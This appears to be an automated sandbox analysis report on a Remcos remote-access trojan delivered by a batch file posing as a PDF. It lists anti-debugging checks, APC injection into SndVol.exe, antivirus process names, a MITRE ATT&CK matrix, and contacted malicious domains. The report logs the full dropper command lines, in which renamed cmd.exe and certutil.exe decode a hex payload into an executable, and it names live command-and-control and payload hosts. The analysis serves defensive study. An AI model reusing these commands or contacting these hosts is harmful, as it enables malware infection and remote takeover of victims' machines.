Code function: 7_2_00007FF68FCC511C GetSystemInfo,CryptFindOIDInfo,#359,CreateFileW,GetLastError,#357,#359,GetFileSize,#357,CreateFileMappingW,GetLastError,#359,#357,LocalAlloc,BCryptCreateHash,#360,MapViewOfFile,BCryptHashData,#360,UnmapViewOfFile,LocalAlloc,GetLastError,#357,GetLastError,BCryptFinishHash,#360,LocalAlloc,LocalFree,#357,UnmapViewOfFile,CloseHandle,CloseHandle,BCryptDestroyHash,#360,LocalFree,LocalFree,

7_2_00007FF68FCC511C

Source: AnyDesk.PIF, 0000000A.00000002.1493586816.0000000000865000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWPn
Source: AnyDesk.PIF, 0000000A.00000002.1493586816.0000000000865000.00000004.00000020.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000002.1493586816.000000000080E000.00000004.00000020.00020000.00000000.sdmp, SndVol.exe, 00000014.00000002.3879565990.000000001C118000.00000004.00000020.00020000.00000000.sdmp, SndVol.exe, 00000014.00000003.1537139558.000000001C198000.00000004.00000020.00020000.00000000.sdmp, SndVol.exe, 00000014.00000002.3879867205.000000001C198000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Faogvkgh.PIF, 00000016.00000002.1638185112.00000000005EC000.00000004.00000020.00020000.00000000.sdmp, Faogvkgh.PIF, 00000018.00000002.1715016353.00000000005D8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\Public\Libraries\AnyDesk.PIF

API call chain: ExitProcess graph end node

Anti Debugging

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Source: C:\Users\Public\Libraries\AnyDesk.PIF

Code function: 10_2_02D4F744 GetModuleHandleW,GetProcAddress,CheckRemoteDebuggerPresent,

10_2_02D4F744

Source: C:\Users\Public\Libraries\AnyDesk.PIF	Process queried: DebugPort	Jump to behavior
Source: C:\Users\Public\Libraries\Faogvkgh.PIF	Process queried: DebugPort
Source: C:\Users\Public\Libraries\Faogvkgh.PIF	Process queried: DebugPort

Source: C:\Users\Public\alpha.exe

Code function: 4_2_00007FF6A0E963FC GetCurrentThreadId,IsDebuggerPresent,OutputDebugStringW,

4_2_00007FF6A0E963FC

Source: C:\Users\Public\Libraries\AnyDesk.PIF

Code function: 10_2_02D4894C LoadLibraryW,GetProcAddress,FreeLibrary,

10_2_02D4894C

Source: C:\Users\Public\Libraries\AnyDesk.PIF

Code function: 10_2_02DF7D45 mov eax, dword ptr fs:[00000030h]

10_2_02DF7D45

Source: C:\Users\Public\alpha.exe

Code function: 4_2_00007FF6A0E84A14 GetEnvironmentStringsW,GetProcessHeap,HeapAlloc,memmove,FreeEnvironmentStringsW,

4_2_00007FF6A0E84A14

Source: C:\Users\Public\alpha.exe	Code function: 4_2_00007FF6A0E893B0 SetUnhandledExceptionFilter,	4_2_00007FF6A0E893B0
Source: C:\Users\Public\alpha.exe	Code function: 4_2_00007FF6A0E88FA4 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	4_2_00007FF6A0E88FA4
Source: C:\Users\Public\alpha.exe	Code function: 6_2_00007FF6A0E893B0 SetUnhandledExceptionFilter,	6_2_00007FF6A0E893B0
Source: C:\Users\Public\alpha.exe	Code function: 6_2_00007FF6A0E88FA4 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	6_2_00007FF6A0E88FA4
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FD14E18 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	7_2_00007FF68FD14E18
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FD153E0 SetUnhandledExceptionFilter,	7_2_00007FF68FD153E0

HIPS / PFW / Operating System Protection Evasion

Early bird code injection technique detected

Source: C:\Users\Public\Libraries\Faogvkgh.PIF	Process created / APC Queued / Resumed: C:\Windows\SysWOW64\SndVol.exe
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Process created / APC Queued / Resumed: C:\Windows\SysWOW64\SndVol.exe	Jump to behavior
Source: C:\Users\Public\Libraries\Faogvkgh.PIF	Process created / APC Queued / Resumed: C:\Windows\SysWOW64\SndVol.exe

Allocates memory in foreign processes

Source: C:\Users\Public\Libraries\AnyDesk.PIF	Memory allocated: C:\Windows\SysWOW64\SndVol.exe base: 2CF0000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\Public\Libraries\Faogvkgh.PIF	Memory allocated: C:\Windows\SysWOW64\SndVol.exe base: 2C00000 protect: page execute and read and write
Source: C:\Users\Public\Libraries\Faogvkgh.PIF	Memory allocated: C:\Windows\SysWOW64\SndVol.exe base: 27D0000 protect: page execute and read and write

Drops or copies certutil.exe with a different name (likely to bypass HIPS)

Source: C:\Windows\System32\extrac32.exe

File created: C:\Users\Public\kn.exe

Jump to dropped file

Drops or copies cmd.exe with a different name (likely to bypass HIPS)

Source: C:\Windows\System32\extrac32.exe	File created: C:\Users\Public\alpha.exe			Jump to dropped file
Source: C:\Windows\SysWOW64\esentutl.exe	File created: C:\Users\Public\alpha.pif			Jump to dropped file

Queues an APC in another process (thread injection)

Source: C:\Users\Public\Libraries\AnyDesk.PIF

Thread APC queued: target process: C:\Windows\SysWOW64\SndVol.exe

Source: C:\Users\Public\kn.exe

Code function: 7_2_00007FF68FCC7024 GetModuleHandleW,GetProcAddress,#356,#357,CloseHandle,LocalFree,LocalFree,LocalFree,ImpersonateLoggedOnUser,#356,EqualSid,#357,LogonUserExW,GetLastError,ImpersonateLoggedOnUser,#356,#359,RevertToSelf,#356,

7_2_00007FF68FCC7024

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\extrac32.exe C:\\Windows\\System32\\extrac32 /C /Y C:\\Windows\\System32\\cmd.exe "C:\\Users\\Public\\alpha.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\Public\alpha.exe C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\Public\alpha.exe C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\Users\user\Desktop\USD470900_COPY_800BLHSBC882001.PDF.bat" "C:\\Users\\Public\\AnyDesk.jpeg" 9	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\Public\alpha.exe C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\AnyDesk.jpeg" "C:\\Users\\Public\\Libraries\\AnyDesk.PIF" 12	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\Public\Libraries\AnyDesk.PIF C:\Users\Public\Libraries\AnyDesk.PIF	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\Public\alpha.exe C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\kn.exe" / A / F / Q / S	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\Public\alpha.exe C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\AnyDesk.jpeg" / A / F / Q / S	Jump to behavior
Source: C:\Users\Public\alpha.exe	Process created: C:\Windows\System32\extrac32.exe extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe	Jump to behavior
Source: C:\Users\Public\alpha.exe	Process created: C:\Users\Public\kn.exe C:\\Users\\Public\\kn -decodehex -F "C:\Users\user\Desktop\USD470900_COPY_800BLHSBC882001.PDF.bat" "C:\\Users\\Public\\AnyDesk.jpeg" 9	Jump to behavior
Source: C:\Users\Public\alpha.exe	Process created: C:\Users\Public\kn.exe C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\AnyDesk.jpeg" "C:\\Users\\Public\\Libraries\\AnyDesk.PIF" 12	Jump to behavior
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Process created: C:\Windows\SysWOW64\SndVol.exe C:\Windows\System32\SndVol.exe	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\esentutl.exe C:\\Windows\\System32\\esentutl /y C:\\Windows\\System32\\cmd.exe /d C:\\Users\\Public\\alpha.pif /o	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\esentutl.exe C:\\Windows\\System32\\esentutl /y C:\\Windows\\System32\\ping.exe /d C:\\Users\\Public\\xpha.pif /o	Jump to behavior
Source: C:\Users\Public\Libraries\Faogvkgh.PIF	Process created: C:\Windows\SysWOW64\SndVol.exe C:\Windows\System32\SndVol.exe
Source: C:\Users\Public\Libraries\Faogvkgh.PIF	Process created: C:\Windows\SysWOW64\SndVol.exe C:\Windows\System32\SndVol.exe

Source: C:\Users\Public\kn.exe

Code function: 7_2_00007FF68FCB4AF4 GetSecurityDescriptorDacl,GetLastError,SetEntriesInAclW,SetSecurityDescriptorDacl,GetLastError,#357,#357,LocalFree,LocalFree,LocalFree,

7_2_00007FF68FCB4AF4

Source: C:\Users\Public\kn.exe

Code function: 7_2_00007FF68FCB4E88 DsRoleGetPrimaryDomainInformation,#357,AllocateAndInitializeSid,GetLastError,#357,AllocateAndInitializeSid,GetLastError,#357,#357,DsRoleFreeMemory,LocalFree,#357,LocalFree,LocalFree,LocalFree,

7_2_00007FF68FCB4E88

Source: SndVol.exe, 00000014.00000002.3879565990.000000001C176000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager
Source: SndVol.exe, 00000014.00000002.3879565990.000000001C176000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager-
Source: SndVol.exe, 00000014.00000002.3879565990.000000001C176000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program ManagerR
Source: SndVol.exe, 00000014.00000002.3879565990.000000001C118000.00000004.00000020.00020000.00000000.sdmp, SndVol.exe, 00000014.00000002.3879565990.000000001C158000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \|Program Manager\|

Source: C:\Users\Public\Libraries\AnyDesk.PIF

Code function: 10_2_02DE9F6A cpuid

10_2_02DE9F6A

Source: C:\Users\Public\alpha.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,setlocale,	4_2_00007FF6A0E851EC
Source: C:\Users\Public\alpha.exe	Code function: GetSystemTime,SystemTimeToFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,GetLocaleInfoW,memmove,GetTimeFormatW,	4_2_00007FF6A0E83140
Source: C:\Users\Public\alpha.exe	Code function: GetSystemTime,SystemTimeToFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,GetLocaleInfoW,memmove,GetDateFormatW,GetDateFormatW,realloc,GetDateFormatW,memmove,GetLastError,realloc,	4_2_00007FF6A0E76EE4
Source: C:\Users\Public\alpha.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,setlocale,	6_2_00007FF6A0E851EC
Source: C:\Users\Public\alpha.exe	Code function: GetSystemTime,SystemTimeToFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,GetLocaleInfoW,memmove,GetTimeFormatW,	6_2_00007FF6A0E83140
Source: C:\Users\Public\alpha.exe	Code function: GetSystemTime,SystemTimeToFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,GetLocaleInfoW,memmove,GetDateFormatW,GetDateFormatW,realloc,GetDateFormatW,memmove,GetLastError,realloc,	6_2_00007FF6A0E76EE4
Source: C:\Users\Public\kn.exe	Code function: LoadLibraryExW,SearchPathW,FindResourceExW,GetUserDefaultUILanguage,GetLocaleInfoW,wcsncmp,GetSystemDefaultUILanguage,FreeLibrary,FreeLibrary,LoadLibraryExW,FreeLibrary,	7_2_00007FF68FD13800
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Code function: GetModuleFileNameA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegQueryValueExA,RegQueryValueExA,RegCloseKey,lstrcpynA,GetThreadLocale,GetLocaleInfoA,lstrlenA,lstrcpynA,LoadLibraryExA,lstrcpynA,LoadLibraryExA,lstrcpynA,LoadLibraryExA,	10_2_02D35ACC
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Code function: GetLocaleInfoA,	10_2_02D3A7C4
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Code function: GetLocaleInfoA,	10_2_02D3A810
Source: C:\Users\Public\Libraries\AnyDesk.PIF	Code function: lstrcpynA,GetThreadLocale,GetLocaleInfoA,lstrlenA,lstrcpynA,LoadLibraryExA,lstrcpynA,LoadLibraryExA,lstrcpynA,LoadLibraryExA,	10_2_02D35BD8

Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\Public\alpha.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\Public\alpha.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Users\Public\alpha.exe

Code function: 4_2_00007FF6A0E89584 GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,GetTickCount,QueryPerformanceCounter,

4_2_00007FF6A0E89584

Source: C:\Users\Public\kn.exe

Code function: 7_2_00007FF68FCF70F4 LookupAccountNameW,GetLastError,GetLastError,LocalAlloc,LocalAlloc,LookupAccountNameW,GetLastError,ConvertSidToStringSidW,GetLastError,#357,LocalFree,LocalFree,LocalFree,

7_2_00007FF68FCF70F4

Source: C:\Users\Public\alpha.exe

Code function: 4_2_00007FF6A0E7586C GetVersion,

4_2_00007FF6A0E7586C

Source: C:\Windows\SysWOW64\SndVol.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Source: AnyDesk.PIF, 0000000A.00000002.1521011738.000000007EED0000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000003.1461004903.000000007F0B0000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000003.1460709581.000000007EAC0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: cmdagent.exe
Source: AnyDesk.PIF, 0000000A.00000002.1521011738.000000007EED0000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000003.1461004903.000000007F0B0000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000003.1460709581.000000007EAC0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: quhlpsvc.exe
Source: AnyDesk.PIF, 0000000A.00000002.1521011738.000000007EED0000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000003.1461004903.000000007F0B0000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000003.1460709581.000000007EAC0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: avgamsvr.exe
Source: AnyDesk.PIF, 0000000A.00000002.1521011738.000000007EED0000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000003.1461004903.000000007F0B0000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000003.1460709581.000000007EAC0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: TMBMSRV.exe
Source: AnyDesk.PIF, 0000000A.00000002.1521011738.000000007EED0000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000003.1461004903.000000007F0B0000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000003.1460709581.000000007EAC0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: Vsserv.exe
Source: AnyDesk.PIF, 0000000A.00000002.1521011738.000000007EED0000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000003.1461004903.000000007F0B0000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000003.1460709581.000000007EAC0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: avgupsvc.exe
Source: AnyDesk.PIF, 0000000A.00000002.1521011738.000000007EED0000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000003.1461004903.000000007F0B0000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000003.1460709581.000000007EAC0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: avgemc.exe
Source: AnyDesk.PIF, 0000000A.00000002.1521011738.000000007EED0000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000003.1461004903.000000007F0B0000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000003.1460709581.000000007EAC0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: MsMpEng.exe

Stealing of Sensitive Information

Source: Yara match	File source: 20.2.SndVol.exe.2cf0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.2.SndVol.exe.27d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.SndVol.exe.2cf0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.SndVol.exe.2c00000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.2.SndVol.exe.27d0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.SndVol.exe.2c00000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.AnyDesk.PIF.2d30000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000019.00000002.1714791876.0000000000647000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.3879565990.000000001C118000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000002.1714933699.00000000027D0000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.1519993639.000000007E810000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.1635427252.0000000002C00000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.3868017269.0000000002CF0000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.1661654615.000000002AB37000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.1498580149.0000000002DB7000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: AnyDesk.PIF PID: 7748, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: SndVol.exe PID: 8072, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: SndVol.exe PID: 5612, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: SndVol.exe PID: 7296, type: MEMORYSTR

Remote Access Functionality

Detected Remcos RAT

Source: C:\Windows\SysWOW64\SndVol.exe	Mutex created: \Sessions\1\BaseNamedObjects\Rmc-H5EBMC	Jump to behavior
Source: C:\Windows\SysWOW64\SndVol.exe	Mutex created: \Sessions\1\BaseNamedObjects\Rmc-H5EBMC
Source: C:\Windows\SysWOW64\SndVol.exe	Mutex created: \Sessions\1\BaseNamedObjects\Rmc-H5EBMC

Source: Yara match	File source: 20.2.SndVol.exe.2cf0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.2.SndVol.exe.27d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.SndVol.exe.2cf0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.SndVol.exe.2c00000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.2.SndVol.exe.27d0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.SndVol.exe.2c00000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.AnyDesk.PIF.2d30000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000019.00000002.1714791876.0000000000647000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.3879565990.000000001C118000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000002.1714933699.00000000027D0000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.1519993639.000000007E810000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.1635427252.0000000002C00000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.3868017269.0000000002CF0000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.1661654615.000000002AB37000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.1498580149.0000000002DB7000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: AnyDesk.PIF PID: 7748, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: SndVol.exe PID: 8072, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: SndVol.exe PID: 5612, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: SndVol.exe PID: 7296, type: MEMORYSTR

Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC3E568 #357,LookupAccountSidW,GetLastError,#357,DsGetDcNameW,DsBindW,DsGetDomainControllerInfoW,DsGetDomainControllerInfoW,#357,DsUnBindW,NetApiBufferFree,LocalFree,	7_2_00007FF68FC3E568
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC2227C DsGetDcNameW,#357,DsBindW,DsCrackNamesW,#357,#357,#357,#357,#357,LocalAlloc,#359,DsUnBindW,NetApiBufferFree,DsFreeNameResultW,LocalFree,LocalFree,	7_2_00007FF68FC2227C
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC45648 #357,#357,DsGetSiteNameW,#359,LocalAlloc,LocalAlloc,GetTickCount,DsGetSiteNameW,GetTickCount,#207,LocalFree,#359,NetApiBufferFree,#357,#357,#207,LocalFree,#359,#359,#359,LocalFree,NetApiBufferFree,NetApiBufferFree,LocalFree,LocalFree,#357,DsUnBindW,	7_2_00007FF68FC45648
Source: C:\Users\Public\kn.exe	Code function: 7_2_00007FF68FC254A0 wcschr,NetApiBufferFree,DsFreeNameResultW,#13,LocalFree,DsGetDcNameW,#359,#224,#224,DsBindW,#357,DsCrackNamesW,#357,#145,#359,#359,#14,#359,#73,#359,#208,#26,#127,LocalFree,#140,#359,#224,#167,#27,#357,#357,#41,NetApiBufferFree,DsUnBindW,DsFreeNameResultW,#13,LocalFree,	7_2_00007FF68FC254A0

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	2 Valid Accounts	1 Native API	1 Scripting	1 DLL Side-Loading	2 Disable or Modify Tools	OS Credential Dumping	1 System Time Discovery	Remote Services	12 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 Data Encrypted for Impact
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 DLL Side-Loading	2 Valid Accounts	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	Data from Removable Media	2 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	2 Valid Accounts	21 Access Token Manipulation	12 Obfuscated Files or Information	Security Account Manager	1 System Network Connections Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	1 Registry Run Keys / Startup Folder	312 Process Injection	1 Install Root Certificate	NTDS	1 File and Directory Discovery	Distributed Component Object Model	Input Capture	1 Remote Access Software	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	1 Registry Run Keys / Startup Folder	1 Timestomp	LSA Secrets	46 System Information Discovery	SSH	Keylogging	2 Non-Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	241 Security Software Discovery	VNC	GUI Input Capture	212 Application Layer Protocol	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	311 Masquerading	DCSync	2 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	2 Valid Accounts	Proc Filesystem	1 Process Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	2 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	1 Application Window Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	21 Access Token Manipulation	Network Sniffing	1 System Owner/User Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	312 Process Injection	Input Capture	System Network Connections Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
USD470900_COPY_800BLHSBC882001.PDF.bat	18%	ReversingLabs	Script-BAT.Trojan.Remcos

Dropped Files

Source	Detection	Scanner	Label
C:\Users\Public\Libraries\AnyDesk.PIF	100%	Joe Sandbox ML
C:\Users\Public\Libraries\Faogvkgh.PIF	100%	Joe Sandbox ML
C:\Users\Public\Libraries\AnyDesk.PIF	32%	ReversingLabs	Win32.Trojan.Generic
C:\Users\Public\Libraries\Faogvkgh.PIF	32%	ReversingLabs	Win32.Trojan.Generic
C:\Users\Public\alpha.exe	0%	ReversingLabs
C:\Users\Public\alpha.pif	0%	ReversingLabs
C:\Users\Public\kn.exe	0%	ReversingLabs
C:\Users\Public\xpha.pif	0%	ReversingLabs

Source	Detection	Scanner	Label
http://ferreiragascuritiba.com.br/v/233_Faogvkghvqn	0%	Avira URL Cloud	safe
http://ferreiragascuritiba.com.br/v/233_Faogvkghvqnath	0%	Avira URL Cloud	safe
http://ferreiragascuritiba.com.b	0%	Avira URL Cloud	safe
iamblessed.duckdns.org	0%	Avira URL Cloud	safe
http://ferreiragascuritiba.com.br/	0%	Avira URL Cloud	safe
http://ferreiragascuritiba.com.br:80/v/233_FaogvkghvqnP	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
iamblessed.duckdns.org	77.221.149.38	true	true	unknown
ferreiragascuritiba.com.br	216.172.172.178	true	true	unknown
geoplugin.net	178.237.33.50	true	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
iamblessed.duckdns.org	true	Avira URL Cloud: safe	unknown
http://ferreiragascuritiba.com.br/v/233_Faogvkghvqn	true	Avira URL Cloud: safe	unknown
http://geoplugin.net/json.gp	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://crl.sectigo.com/SectigoPublicCodeSigningCAEVR36.crl0	AnyDesk.PIF, 0000000A.00000002.1521011738.000000007EED0000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000003.1461004903.000000007F0B0000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000003.1460709581.000000007EAC0000.00000004.00001000.00020000.00000000.sdmp	false		high
